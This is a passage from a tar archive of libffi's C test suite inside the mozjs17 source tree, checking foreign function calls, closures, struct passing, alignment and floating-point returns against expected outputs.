NULL, code) == FFI_OK); res = (*((cls_ret_ushort)code))(65535); /* { dg-output "65535: 65535" } */ printf("res: %d\n",res); /* { dg-output "\nres: 65535" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_6_1_byte.c0000664000175000017500000000621612106270662025365 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Depending on the ABI. Check overlapping. Limitations: none. PR: none. Originator: 20050708 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_6byte { unsigned char a; unsigned char b; unsigned char c; unsigned char d; unsigned char e; unsigned char f; } cls_struct_6byte; cls_struct_6byte cls_struct_6byte_fn(struct cls_struct_6byte a1, struct cls_struct_6byte a2) { struct cls_struct_6byte result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; result.d = a1.d + a2.d; result.e = a1.e + a2.e; result.f = a1.f + a2.f; printf("%d %d %d %d %d %d %d %d %d %d %d %d: %d %d %d %d %d %d\n", a1.a, a1.b, a1.c, a1.d, a1.e, a1.f, a2.a, a2.b, a2.c, a2.d, a2.e, a2.f, result.a, result.b, result.c, result.d, result.e, result.f); return result; } static void cls_struct_6byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_6byte a1, a2; a1 = *(struct cls_struct_6byte*)(args[0]); a2 = *(struct cls_struct_6byte*)(args[1]); *(cls_struct_6byte*)resp = cls_struct_6byte_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[7]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_6byte g_dbl = { 127, 120, 1, 3, 4, 5 }; struct cls_struct_6byte f_dbl = { 12, 128, 9, 3, 4, 5 }; struct cls_struct_6byte res_dbl = { 0, 0, 0, 0, 0, 0 }; cls_struct_fields[0] = &ffi_type_uchar; cls_struct_fields[1] = &ffi_type_uchar; cls_struct_fields[2] = &ffi_type_uchar; cls_struct_fields[3] = &ffi_type_uchar; cls_struct_fields[4] = &ffi_type_uchar; cls_struct_fields[5] = &ffi_type_uchar; cls_struct_fields[6] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_6byte_fn), &res_dbl, args_dbl); /* { dg-output "127 120 1 3 4 5 12 128 9 3 4 5: 139 248 10 6 8 10" } */ printf("res: %d %d %d %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e, res_dbl.f); /* { dg-output "\nres: 139 248 10 6 8 10" } */ res_dbl.a = 0; res_dbl.b = 0; res_dbl.c = 0; res_dbl.d = 0; res_dbl.e = 0; res_dbl.f = 0; CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_6byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_6byte(*)(cls_struct_6byte, cls_struct_6byte))(code))(g_dbl, f_dbl); /* { dg-output "\n127 120 1 3 4 5 12 128 9 3 4 5: 139 248 10 6 8 10" } */ printf("res: %d %d %d %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e, res_dbl.f); /* { dg-output "\nres: 139 248 10 6 8 10" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/err_bad_typedef.c0000664000175000017500000000070212106270662026224 0ustar sstanglsstangl/* Area: ffi_prep_cif Purpose: Test error return for bad typedefs. Limitations: none. PR: none. Originator: Blake Chaffin 6/6/2007 */ /* { dg-do run { xfail *-*-* } } */ #include "ffitest.h" int main (void) { ffi_cif cif; ffi_type* arg_types[1]; arg_types[0] = NULL; ffi_type badType = ffi_type_void; badType.size = 0; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 0, &badType, arg_types) == FFI_BAD_TYPEDEF); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/closure_fn0.c0000664000175000017500000000565112106270662025335 0ustar sstanglsstangl/* Area: closure_call Purpose: Check multiple values passing from different type. Also, exceed the limit of gpr and fpr registers on PowerPC Darwin. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" static void closure_test_fn0(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata) { *(ffi_arg*)resp = (int)*(unsigned long long *)args[0] + (int)(*(int *)args[1]) + (int)(*(unsigned long long *)args[2]) + (int)*(int *)args[3] + (int)(*(signed short *)args[4]) + (int)(*(unsigned long long *)args[5]) + (int)*(int *)args[6] + (int)(*(int *)args[7]) + (int)(*(double *)args[8]) + (int)*(int *)args[9] + (int)(*(int *)args[10]) + (int)(*(float *)args[11]) + (int)*(int *)args[12] + (int)(*(int *)args[13]) + (int)(*(int *)args[14]) + *(int *)args[15] + (intptr_t)userdata; printf("%d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d: %d\n", (int)*(unsigned long long *)args[0], (int)(*(int *)args[1]), (int)(*(unsigned long long *)args[2]), (int)*(int *)args[3], (int)(*(signed short *)args[4]), (int)(*(unsigned long long *)args[5]), (int)*(int *)args[6], (int)(*(int *)args[7]), (int)(*(double *)args[8]), (int)*(int *)args[9], (int)(*(int *)args[10]), (int)(*(float *)args[11]), (int)*(int *)args[12], (int)(*(int *)args[13]), (int)(*(int *)args[14]),*(int *)args[15], (int)(intptr_t)userdata, (int)*(ffi_arg *)resp); } typedef int (*closure_test_type0)(unsigned long long, int, unsigned long long, int, signed short, unsigned long long, int, int, double, int, int, float, int, int, int, int); int main (void) { ffi_cif cif; void * code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type * cl_arg_types[17]; int res; cl_arg_types[0] = &ffi_type_uint64; cl_arg_types[1] = &ffi_type_sint; cl_arg_types[2] = &ffi_type_uint64; cl_arg_types[3] = &ffi_type_sint; cl_arg_types[4] = &ffi_type_sshort; cl_arg_types[5] = &ffi_type_uint64; cl_arg_types[6] = &ffi_type_sint; cl_arg_types[7] = &ffi_type_sint; cl_arg_types[8] = &ffi_type_double; cl_arg_types[9] = &ffi_type_sint; cl_arg_types[10] = &ffi_type_sint; cl_arg_types[11] = &ffi_type_float; cl_arg_types[12] = &ffi_type_sint; cl_arg_types[13] = &ffi_type_sint; cl_arg_types[14] = &ffi_type_sint; cl_arg_types[15] = &ffi_type_sint; cl_arg_types[16] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 16, &ffi_type_sint, cl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, closure_test_fn0, (void *) 3 /* userdata */, code) == FFI_OK); res = (*((closure_test_type0)code)) (1LL, 2, 3LL, 4, 127, 429LL, 7, 8, 9.5, 10, 11, 12, 13, 19, 21, 1); /* { dg-output "1 2 3 4 127 429 7 8 9 10 11 12 13 19 21 1 3: 680" } */ printf("res: %d\n",res); /* { dg-output "\nres: 680" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/return_uc.c0000664000175000017500000000135112106270662025115 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check return value unsigned char. Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-do run } */ #include "ffitest.h" static unsigned char return_uc(unsigned char uc) { return uc; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; ffi_arg rint; unsigned char uc; args[0] = &ffi_type_uchar; values[0] = &uc; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_uchar, args) == FFI_OK); for (uc = (unsigned char) '\x00'; uc < (unsigned char) '\xff'; uc++) { ffi_call(&cif, FFI_FN(return_uc), &rint, values); CHECK(rint == (signed int) uc); } exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_16byte.c0000664000175000017500000000503312106270662025063 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Depending on the ABI. Check overlapping. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_16byte { int a; double b; int c; } cls_struct_16byte; cls_struct_16byte cls_struct_16byte_fn(struct cls_struct_16byte b1, struct cls_struct_16byte b2) { struct cls_struct_16byte result; result.a = b1.a + b2.a; result.b = b1.b + b2.b; result.c = b1.c + b2.c; printf("%d %g %d %d %g %d: %d %g %d\n", b1.a, b1.b, b1.c, b2.a, b2.b, b2.c, result.a, result.b, result.c); return result; } static void cls_struct_16byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_16byte b1, b2; b1 = *(struct cls_struct_16byte*)(args[0]); b2 = *(struct cls_struct_16byte*)(args[1]); *(cls_struct_16byte*)resp = cls_struct_16byte_fn(b1, b2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_16byte h_dbl = { 7, 8.0, 9 }; struct cls_struct_16byte j_dbl = { 1, 9.0, 3 }; struct cls_struct_16byte res_dbl; cls_struct_fields[0] = &ffi_type_sint; cls_struct_fields[1] = &ffi_type_double; cls_struct_fields[2] = &ffi_type_sint; cls_struct_fields[3] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &h_dbl; args_dbl[1] = &j_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_16byte_fn), &res_dbl, args_dbl); /* { dg-output "7 8 9 1 9 3: 8 17 12" } */ printf("res: %d %g %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 8 17 12" } */ res_dbl.a = 0; res_dbl.b = 0.0; res_dbl.c = 0; CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_16byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_16byte(*)(cls_struct_16byte, cls_struct_16byte))(code))(h_dbl, j_dbl); /* { dg-output "\n7 8 9 1 9 3: 8 17 12" } */ printf("res: %d %g %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 8 17 12" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_18byte.c0000664000175000017500000000532412106270662025070 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Depending on the ABI. Double alignment check on darwin. Limitations: none. PR: none. Originator: 20030915 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_18byte { double a; unsigned char b; unsigned char c; double d; } cls_struct_18byte; cls_struct_18byte cls_struct_18byte_fn(struct cls_struct_18byte a1, struct cls_struct_18byte a2) { struct cls_struct_18byte result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; result.d = a1.d + a2.d; printf("%g %d %d %g %g %d %d %g: %g %d %d %g\n", a1.a, a1.b, a1.c, a1.d, a2.a, a2.b, a2.c, a2.d, result.a, result.b, result.c, result.d); return result; } static void cls_struct_18byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_18byte a1, a2; a1 = *(struct cls_struct_18byte*)(args[0]); a2 = *(struct cls_struct_18byte*)(args[1]); *(cls_struct_18byte*)resp = cls_struct_18byte_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[3]; ffi_type* cls_struct_fields[5]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[3]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_18byte g_dbl = { 1.0, 127, 126, 3.0 }; struct cls_struct_18byte f_dbl = { 4.0, 125, 124, 5.0 }; struct cls_struct_18byte res_dbl; cls_struct_fields[0] = &ffi_type_double; cls_struct_fields[1] = &ffi_type_uchar; cls_struct_fields[2] = &ffi_type_uchar; cls_struct_fields[3] = &ffi_type_double; cls_struct_fields[4] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_18byte_fn), &res_dbl, args_dbl); /* { dg-output "1 127 126 3 4 125 124 5: 5 252 250 8" } */ printf("res: %g %d %d %g\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d); /* { dg-output "\nres: 5 252 250 8" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_18byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_18byte(*)(cls_struct_18byte, cls_struct_18byte))(code))(g_dbl, f_dbl); /* { dg-output "\n1 127 126 3 4 125 124 5: 5 252 250 8" } */ printf("res: %g %d %d %g\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d); /* { dg-output "\nres: 5 252 250 8" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_align_sint64.c0000664000175000017500000000511112106270662026247 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure alignment of sint64. Limitations: none. PR: none. Originator: 20031203 */ /* { dg-do run } */ /* { dg-options "-Wno-format" { target alpha*-dec-osf* } } */ #include "ffitest.h" typedef struct cls_struct_align { unsigned char a; signed long long b; unsigned char c; } cls_struct_align; cls_struct_align cls_struct_align_fn(struct cls_struct_align a1, struct cls_struct_align a2) { struct cls_struct_align result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; printf("%d %" PRIdLL " %d %d %" PRIdLL " %d: %d %" PRIdLL " %d\n", a1.a, a1.b, a1.c, a2.a, a2.b, a2.c, result.a, result.b, result.c); return result; } static void cls_struct_align_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_align a1, a2; a1 = *(struct cls_struct_align*)(args[0]); a2 = *(struct cls_struct_align*)(args[1]); *(cls_struct_align*)resp = cls_struct_align_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_align g_dbl = { 12, 4951, 127 }; struct cls_struct_align f_dbl = { 1, 9320, 13 }; struct cls_struct_align res_dbl; cls_struct_fields[0] = &ffi_type_uchar; cls_struct_fields[1] = &ffi_type_sint64; cls_struct_fields[2] = &ffi_type_uchar; cls_struct_fields[3] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_align_fn), &res_dbl, args_dbl); /* { dg-output "12 4951 127 1 9320 13: 13 14271 140" } */ printf("res: %d %" PRIdLL " %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 13 14271 140" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_align_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_align(*)(cls_struct_align, cls_struct_align))(code))(g_dbl, f_dbl); /* { dg-output "\n12 4951 127 1 9320 13: 13 14271 140" } */ printf("res: %d %" PRIdLL " %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 13 14271 140" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/struct2.c0000664000175000017500000000260612106270662024521 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check structures. Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-do run } */ #include "ffitest.h" typedef struct { double d1; double d2; } test_structure_2; static test_structure_2 struct2(test_structure_2 ts) { ts.d1--; ts.d2--; return ts; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; test_structure_2 ts2_arg; ffi_type ts2_type; ffi_type *ts2_type_elements[3]; ts2_type.size = 0; ts2_type.alignment = 0; ts2_type.type = FFI_TYPE_STRUCT; ts2_type.elements = ts2_type_elements; ts2_type_elements[0] = &ffi_type_double; ts2_type_elements[1] = &ffi_type_double; ts2_type_elements[2] = NULL; /* This is a hack to get a properly aligned result buffer */ test_structure_2 *ts2_result = (test_structure_2 *) malloc (sizeof(test_structure_2)); args[0] = &ts2_type; values[0] = &ts2_arg; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ts2_type, args) == FFI_OK); ts2_arg.d1 = 5.55; ts2_arg.d2 = 6.66; printf ("%g\n", ts2_arg.d1); printf ("%g\n", ts2_arg.d2); ffi_call(&cif, FFI_FN(struct2), ts2_result, values); printf ("%g\n", ts2_result->d1); printf ("%g\n", ts2_result->d2); CHECK(ts2_result->d1 == 5.55 - 1); CHECK(ts2_result->d2 == 6.66 - 1); free (ts2_result); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/float3.c0000664000175000017500000000264412106270662024305 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check float arguments with different orders. Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-do run } */ #include "ffitest.h" #include "float.h" static double floating_1(float a, double b, long double c) { return (double) a + b + (double) c; } static double floating_2(long double a, double b, float c) { return (double) a + b + (double) c; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; double rd; float f; double d; long double ld; args[0] = &ffi_type_float; values[0] = &f; args[1] = &ffi_type_double; values[1] = &d; args[2] = &ffi_type_longdouble; values[2] = &ld; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 3, &ffi_type_double, args) == FFI_OK); f = 3.14159; d = (double)1.0/(double)3.0; ld = 2.71828182846L; floating_1 (f, d, ld); ffi_call(&cif, FFI_FN(floating_1), &rd, values); CHECK(rd - floating_1(f, d, ld) < DBL_EPSILON); args[0] = &ffi_type_longdouble; values[0] = &ld; args[1] = &ffi_type_double; values[1] = &d; args[2] = &ffi_type_float; values[2] = &f; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 3, &ffi_type_double, args) == FFI_OK); floating_2 (ld, d, f); ffi_call(&cif, FFI_FN(floating_2), &rd, values); CHECK(rd - floating_2(ld, d, f) < DBL_EPSILON); exit (0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/float4.c0000664000175000017500000000241212106270662024277 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check denorm double value. Limitations: none. PR: PR26483. Originator: From the original ffitest.c */ /* { dg-do run } */ /* { dg-options "-mieee" { target alpha*-*-* } } */ #include "ffitest.h" #include "float.h" typedef union { double d; unsigned char c[sizeof (double)]; } value_type; #define CANARY 0xba static double dblit(double d) { return d; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; double d; value_type result[2]; unsigned int i; args[0] = &ffi_type_double; values[0] = &d; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_double, args) == FFI_OK); d = DBL_MIN / 2; /* Put a canary in the return array. This is a regression test for a buffer overrun. */ memset(result[1].c, CANARY, sizeof (double)); ffi_call(&cif, FFI_FN(dblit), &result[0].d, values); /* The standard delta check doesn't work for denorms. Since we didn't do any arithmetic, we should get the original result back, and hence an exact check should be OK here. */ CHECK(result[0].d == dblit(d)); /* Check the canary. */ for (i = 0; i < sizeof (double); ++i) CHECK(result[1].c[i] == CANARY); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_5_1_byte.c0000664000175000017500000000571612106270662025370 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Depending on the ABI. Check overlapping. Limitations: none. PR: none. Originator: 20050708 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_5byte { unsigned char a; unsigned char b; unsigned char c; unsigned char d; unsigned char e; } cls_struct_5byte; cls_struct_5byte cls_struct_5byte_fn(struct cls_struct_5byte a1, struct cls_struct_5byte a2) { struct cls_struct_5byte result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; result.d = a1.d + a2.d; result.e = a1.e + a2.e; printf("%d %d %d %d %d %d %d %d %d %d: %d %d %d %d %d\n", a1.a, a1.b, a1.c, a1.d, a1.e, a2.a, a2.b, a2.c, a2.d, a2.e, result.a, result.b, result.c, result.d, result.e); return result; } static void cls_struct_5byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_5byte a1, a2; a1 = *(struct cls_struct_5byte*)(args[0]); a2 = *(struct cls_struct_5byte*)(args[1]); *(cls_struct_5byte*)resp = cls_struct_5byte_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[6]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_5byte g_dbl = { 127, 120, 1, 3, 4 }; struct cls_struct_5byte f_dbl = { 12, 128, 9, 3, 4 }; struct cls_struct_5byte res_dbl = { 0, 0, 0, 0, 0 }; cls_struct_fields[0] = &ffi_type_uchar; cls_struct_fields[1] = &ffi_type_uchar; cls_struct_fields[2] = &ffi_type_uchar; cls_struct_fields[3] = &ffi_type_uchar; cls_struct_fields[4] = &ffi_type_uchar; cls_struct_fields[5] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_5byte_fn), &res_dbl, args_dbl); /* { dg-output "127 120 1 3 4 12 128 9 3 4: 139 248 10 6 8" } */ printf("res: %d %d %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e); /* { dg-output "\nres: 139 248 10 6 8" } */ res_dbl.a = 0; res_dbl.b = 0; res_dbl.c = 0; res_dbl.d = 0; res_dbl.e = 0; CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_5byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_5byte(*)(cls_struct_5byte, cls_struct_5byte))(code))(g_dbl, f_dbl); /* { dg-output "\n127 120 1 3 4 12 128 9 3 4: 139 248 10 6 8" } */ printf("res: %d %d %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e); /* { dg-output "\nres: 139 248 10 6 8" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/nested_struct7.c0000664000175000017500000000534312106270662026071 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Contains structs as parameter of the struct itself. Sample taken from Alan Modras patch to src/prep_cif.c. Limitations: none. PR: none. Originator: 20051010 */ /* { dg-do run } */ #include "ffitest.h" typedef struct A { unsigned long long a; unsigned char b; } A; typedef struct B { struct A x; unsigned char y; } B; static B B_fn(struct A b2, struct B b3) { struct B result; result.x.a = b2.a + b3.x.a; result.x.b = b2.b + b3.x.b + b3.y; result.y = b2.b + b3.x.b; printf("%d %d %d %d %d: %d %d %d\n", (int)b2.a, b2.b, (int)b3.x.a, b3.x.b, b3.y, (int)result.x.a, result.x.b, result.y); return result; } static void B_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct A b0; struct B b1; b0 = *(struct A*)(args[0]); b1 = *(struct B*)(args[1]); *(B*)resp = B_fn(b0, b1); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[3]; ffi_type* cls_struct_fields[3]; ffi_type* cls_struct_fields1[3]; ffi_type cls_struct_type, cls_struct_type1; ffi_type* dbl_arg_types[3]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; cls_struct_type1.size = 0; cls_struct_type1.alignment = 0; cls_struct_type1.type = FFI_TYPE_STRUCT; cls_struct_type1.elements = cls_struct_fields1; struct A e_dbl = { 1LL, 7}; struct B f_dbl = {{12.0 , 127}, 99}; struct B res_dbl; cls_struct_fields[0] = &ffi_type_uint64; cls_struct_fields[1] = &ffi_type_uchar; cls_struct_fields[2] = NULL; cls_struct_fields1[0] = &cls_struct_type; cls_struct_fields1[1] = &ffi_type_uchar; cls_struct_fields1[2] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type1; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type1, dbl_arg_types) == FFI_OK); args_dbl[0] = &e_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(B_fn), &res_dbl, args_dbl); /* { dg-output "1 7 12 127 99: 13 233 134" } */ CHECK( res_dbl.x.a == (e_dbl.a + f_dbl.x.a)); CHECK( res_dbl.x.b == (e_dbl.b + f_dbl.x.b + f_dbl.y)); CHECK( res_dbl.y == (e_dbl.b + f_dbl.x.b)); CHECK(ffi_prep_closure_loc(pcl, &cif, B_gn, NULL, code) == FFI_OK); res_dbl = ((B(*)(A, B))(code))(e_dbl, f_dbl); /* { dg-output "\n1 7 12 127 99: 13 233 134" } */ CHECK( res_dbl.x.a == (e_dbl.a + f_dbl.x.a)); CHECK( res_dbl.x.b == (e_dbl.b + f_dbl.x.b + f_dbl.y)); CHECK( res_dbl.y == (e_dbl.b + f_dbl.x.b)); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/closure_loc_fn0.c0000664000175000017500000000603012106270662026162 0ustar sstanglsstangl/* Area: closure_call Purpose: Check multiple values passing from different type. Also, exceed the limit of gpr and fpr registers on PowerPC Darwin. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" static void closure_loc_test_fn0(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata) { *(ffi_arg*)resp = (int)*(unsigned long long *)args[0] + (int)(*(int *)args[1]) + (int)(*(unsigned long long *)args[2]) + (int)*(int *)args[3] + (int)(*(signed short *)args[4]) + (int)(*(unsigned long long *)args[5]) + (int)*(int *)args[6] + (int)(*(int *)args[7]) + (int)(*(double *)args[8]) + (int)*(int *)args[9] + (int)(*(int *)args[10]) + (int)(*(float *)args[11]) + (int)*(int *)args[12] + (int)(*(int *)args[13]) + (int)(*(int *)args[14]) + *(int *)args[15] + (intptr_t)userdata; printf("%d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d: %d\n", (int)*(unsigned long long *)args[0], (int)(*(int *)args[1]), (int)(*(unsigned long long *)args[2]), (int)*(int *)args[3], (int)(*(signed short *)args[4]), (int)(*(unsigned long long *)args[5]), (int)*(int *)args[6], (int)(*(int *)args[7]), (int)(*(double *)args[8]), (int)*(int *)args[9], (int)(*(int *)args[10]), (int)(*(float *)args[11]), (int)*(int *)args[12], (int)(*(int *)args[13]), (int)(*(int *)args[14]),*(int *)args[15], (int)(intptr_t)userdata, (int)*(ffi_arg *)resp); } typedef int (*closure_loc_test_type0)(unsigned long long, int, unsigned long long, int, signed short, unsigned long long, int, int, double, int, int, float, int, int, int, int); int main (void) { ffi_cif cif; ffi_closure *pcl; ffi_type * cl_arg_types[17]; int res; void *codeloc; cl_arg_types[0] = &ffi_type_uint64; cl_arg_types[1] = &ffi_type_sint; cl_arg_types[2] = &ffi_type_uint64; cl_arg_types[3] = &ffi_type_sint; cl_arg_types[4] = &ffi_type_sshort; cl_arg_types[5] = &ffi_type_uint64; cl_arg_types[6] = &ffi_type_sint; cl_arg_types[7] = &ffi_type_sint; cl_arg_types[8] = &ffi_type_double; cl_arg_types[9] = 